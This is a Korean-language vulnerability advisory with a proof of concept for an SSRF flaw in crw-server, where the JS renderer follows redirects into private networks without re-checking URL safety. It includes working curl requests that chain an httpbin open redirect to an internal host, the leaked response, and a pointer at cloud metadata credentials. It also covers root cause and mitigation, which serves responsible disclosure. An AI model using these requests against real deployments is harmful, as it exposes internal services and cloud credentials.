
PoC — crw의 URL 안전 필터를 JS 렌더링 계층 우회를 통한 SSRF (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).
CVE 상태: 요청됨, 할당 대기 중. 이 발견은 GHSA-5jp3-339h-vxqw로 게시되었습니다. CVE가 할당되면 이 저장소는
CVE-YYYY-NNNNN-crw-PoC로 이름이 변경되고 이 배너는 CVE 링크로 대체됩니다.
| 연구자 | Dostxodjayev Abdullox (@squeeze440) |
| 권고 | GHSA-5jp3-339h-vxqw |
| CVSS 3.1 | 7.5 (높음) |
| 취약점 | CWE-918 |
요약
crw-server에서 SSRF 허용/차단 목록(crw_core::url_safety)은 요청이 렌더러로 전달되기 전에 호출자가 제공한 url에 대해 단 한 번만 적용됩니다. 이후 CDP 기반 JS 렌더링 계층(LightPanda — 기본 JS 렌더러 — 및 Chrome)은 Page.navigate를 통해 대상 페이지를 구동하고, 이후의 모든 리다이렉트, JS로 트리거된 내비게이션, 페이지 내 XHR/fetch를 브라우저 자체의 네트워크 스택 내부에서 전적으로 따라가며, 어느 시점에도 url_safety를 다시 호출하지 않습니다. 이로 인해 renderJs:true를 설정한 인증된(또는 기본 무키 배포에서는 인증되지 않은) 호출자가 단일 외부 오픈 리다이렉트를 통해 크롤러를 RFC1918/루프백/링크-로컬 주소 공간으로 피벗하고, 내부 서비스의 응답을 API 응답 본문으로 읽어낼 수 있습니다.
제품
fastCRW / crw — crw-server (REST API, 동일한 crw_server::routes::mcp::call_tool 코드 경로를 호출하는 인프로세스 crw-mcp MCP 도구 계층을 통해서도 동일하게 접근 가능).
테스트된 버전
커밋 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, 테스트 시점 main의 최신), 프로젝트 자체의 docker-compose.yml --profile heavy로 빌드 및 실행.
추정 CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (높음)
PR:N: 배포된 셀프호스트 기본값(config.docker.toml)에는 [auth]/api_keys 섹션이 없으며, 이는 GHSA-qq8c-fch4-cxq7에 이미 문서화된 "설계상 개방" 기본값과 일치합니다. API 키를 실제로 구성한 배포에서는 이 등급이 PR:L로 낮아집니다(인증된 단일 테넌트라도 공유 엔진을 자신이 실행 중인 내부 네트워크로 피벗할 수 있음) — 이 버그는 키를 추가해도 완화되지 않고, 단지 게이트가 다시 설정될 뿐입니다.I:N/A:N: PoC는 내부 HTTP 응답의 읽기(기밀성)를 입증합니다. 내부 대상에 대한 쓰기/상태 변경 동작은 실행되지 않았으며 주장되지도 않습니다.S:U: 정보 노출은 전적으로 취약한 구성 요소 자체의 API 응답 채널을 통해 매개됩니다.세부 사항
근본 원인: CDP/브라우저 렌더러 경로는 라우트 계층에서 수행되는 단 한 번의 검사 이후 crw_core::url_safety를 호출하지 않습니다.
crates/crw-server/src/routes/scrape.rs:29-34 (crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25에서도 동일) — JS 렌더링 요청에 대한 전체 요청 수명 주기에서 유일한 SSRF 검사: crw_core::url_safety::validate_safe_url_resolved(&parsed_url)가 렌더러가 호출되기 전에 호출자의 리터럴 url에 대해 한 번 실행됩니다.crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner의 work future는 원시 url을 그대로 CDP 엔드포인트로 Page.navigate를 전송합니다(chrome 및 lightpanda 계층 모두 이 동일한 함수를 통해 CDP를 사용하므로 공유됨). 이후 Chrome/LightPanda는 자체 DNS 확인을 수행하고 서버 측 리다이렉트, <meta http-equiv="refresh">, 또는 JS location 변경을 내부적으로 따라갑니다. cdp.rs 어디에도 url_safety 호출이 존재하지 않습니다.crates/crw-renderer/src/blocklist.rs:1-124 — CDP 렌더 중 실행되는 유일한 요청별 Fetch.requestPaused 가로채기 로직(cdp.rs의 약 930-1002행에 연결됨). 이는 대역폭/노이즈 이유로만 광고/트래커 호스트와 차단된 리소스 유형(이미지, 폰트 등)을 필터링하며, 요청의 목적지를 사설/루프백/링크-로컬 범위와 대조하여 검사하지 않습니다.crates/crw-crawl/src/single.rs:559-569 — 내비게이션 후 final_url이 전혀 검사되는 유일한 위치. redirect_is_material()은 data.warnings에 표면적인 "redirected_to: <url>" 문자열을 첨부할지 여부만 결정하며(northernair.ca를 참조하는 주석에 따라 "잘못된 페이지를 받았습니다"를 표시하기 위함), url_safety::validate_safe_url*을 호출하지 않고 요청을 실패시키지도 않습니다.crates/crw-renderer/src/http_only.rs:291 — 일반 HTTP(비-JS) 계층은 reqwest::Client를 crw_core::url_safety::safe_redirect_policy()로 올바르게 감싸며, 이는 모든 리다이렉트 홉을 (DNS 확인과 함께) 재검증합니다. 이것이 바로 CDP 계층에서 누락된 보호입니다. 동적으로 확인됨: renderJs:false를 사용한 동일한 PoC 요청은 올바르게 거부됩니다("error following redirect", 기준 스크린샷 참조).개념 증명
프로젝트 자체의 docker-compose.yml --profile heavy 스택(crw + lightpanda + chrome, 테스트된 커밋에서 빌드)에 대해 동적으로 확인되었습니다.
crw/chrome/lightpanda와 동일한 Docker 브리지 네트워크(docker network: source_default)에 사설 주소 172.19.0.6으로 "내부 서비스" 대역을 세웠습니다 — 현실적인 내부처럼 보이는 콘텐츠(제목 "Internal Ops Console", 세션 토큰 형태의 값)를 제공하는 일반 nginx 컨테이너입니다.curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
evidence/ssrf_baseline_blocked.png)curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — 내부 서버의 콘텐츠가 호출자에게 반환됩니다. 도구 자체의 redirected_to 경고는 차단된 주소로 요청을 따라갔음을 인지하고 있음을 보여주면서도 콘텐츠를 그대로 반환합니다. (스크린샷: evidence/ssrf_chrome_tier_bypass.png)"renderJs":true만 — 호출자가 JS 렌더링을 요청하는 일반적인 방식): 사다리는 lightpanda를 선택했고("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") 동일한 내부 콘텐츠를 반환하여, 두 CDP 계층(chrome만이 아님)이 이 결함을 공유함을 입증했습니다.https://httpbin.org/redirect-to는 "302를 반환하는 외부에서 접근 가능한 모든 URL"을 대신합니다. 실제 공격자는 이를 자신의 도메인에 호스팅할 것입니다. 172.19.0.6은 url_safety가 차단하도록 설계된 범위(RFC1918, 루프백, 링크-로컬/169.254.169.254 클라우드 메타데이터, .internal)의 모든 주소를 대신합니다 — 우회는 범위 검사가 실행되기 전에 발생하므로(CDP 경로는 url_safety를 전혀 호출하지 않음), 이 특정 차단 범위에 국한되지 않습니다. 이 로컬 랩에서는 라이브 클라우드 메타데이터 엔드포인트를 사용할 수 없었으므로 해당 특정 대상은 직접 실행되지 않았습니다. 이는 직접적인 코드 추적 외삽이며, 테스트되지 않은 주장이 아닙니다.
영향
/v1/scrape, /v2/scrape, /v1/crawl, /v1/map, /v1/extract, 이들의 batch/v2 등가물, 또는 동등한 MCP 도구에 접근할 수 있는 모든 호출자가 renderJs:true와 함께 대상 crw 배포를 개방형 내부 네트워크 프록시로 사용할 수 있습니다: 배포자의 루프백 서비스, RFC1918 주소의 내부 서비스(데이터베이스, 관리 패널, 내부 API), 그리고 클라우드 호스팅 배포에서는 인스턴스의 클라우드 메타데이터 엔드포인트(169.254.169.254)로부터 응답을 읽어 IAM/인스턴스 자격 증명을 복구할 가능성이 있습니다. 배포된 셀프호스트 기본값(API 키 미구성)에서는 인증이 전혀 필요하지 않습니다.
취약점
완화 방안
CDP 계층에 이미 연결된 Fetch.requestPaused 가로채기 펌프(crates/crw-renderer/src/cdp.rs, blocklist.rs의 Blocklist에 의해 구동됨)가 자연스러운 초크 포인트입니다: 이를 확장하거나(chrome 및 lightpanda 백엔드 모두에 대해 동일한 펌프에서 호출되는 형제 검사를 추가하여) 가로채는 모든 요청의 URL에 대해 crw_core::url_safety::validate_safe_url을 호출하도록 하여 — 초기 내비게이션, 모든 리다이렉트 홉, 모든 JS 기반 내비게이션, 모든 동일 페이지 XHR/fetch/iframe 로드를 포괄하고 — 차단된 호스트로 확인되는 모든 것에 대해 Fetch.failRequest를 수행하여, http_only 계층에 대해 safe_redirect_policy()가 이미 수행하는 것과 일치시키십시오. 이는 SSRF 보호가 실행에 의존하는 경우 Fetch.enable/가로채기가 더 이상 조건부로 꺼진 상태로 유지될 수 없음을 의미합니다. 심층 방어로, crates/crw-crawl/src/single.rs:559-569의 기존 내비게이션 후 final_url 검사도 표면적인 warnings 항목에서 url_safety::validate_safe_url_resolved를 통한 강제 실패로 전환하여, 가로채기를 빠져나가는 것(예: Fetch.enable의 설정과 경쟁하는 최초 응답)을 잡아내십시오.
크레딧
Dostxodjayev Abdullox
보고 채널
.github/SECURITY.md (https://github.com/us/crw/security에 렌더링됨): GitHub 비공개 취약점 보고가 선호되는 채널이며("이 저장소의 Security 탭에서 보고서 열기"), [email protected]이 이메일 대체 수단입니다. 이 저장소에 대해 실제로 활성화되어 있고 열려 있음을 확인했습니다: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true, 그리고 https://github.com/us/crw/security에서 실제 "Report a vulnerability" 버튼이 관찰되었습니다(https://github.com/us/crw/security/advisories/new로 연결됨). 해당 페이지의 범위 설명에는 "이 저장소의 crw-server 바이너리 및 모든 워크스페이스 크레이트"와 "MCP 서버(crw-mcp)"가 명시적으로 포함되며, "렌더러가 호출하는 서드파티 헤드리스 브라우저(Chromium, Lightpanda)"는 제외됩니다 — 이 발견은 Chromium/Lightpanda 자체의 버그가 아니라 CDP 내비게이션 호출 주변의 crw 자체의 누락된 검증에 관한 것이므로 범위 내에 있습니다.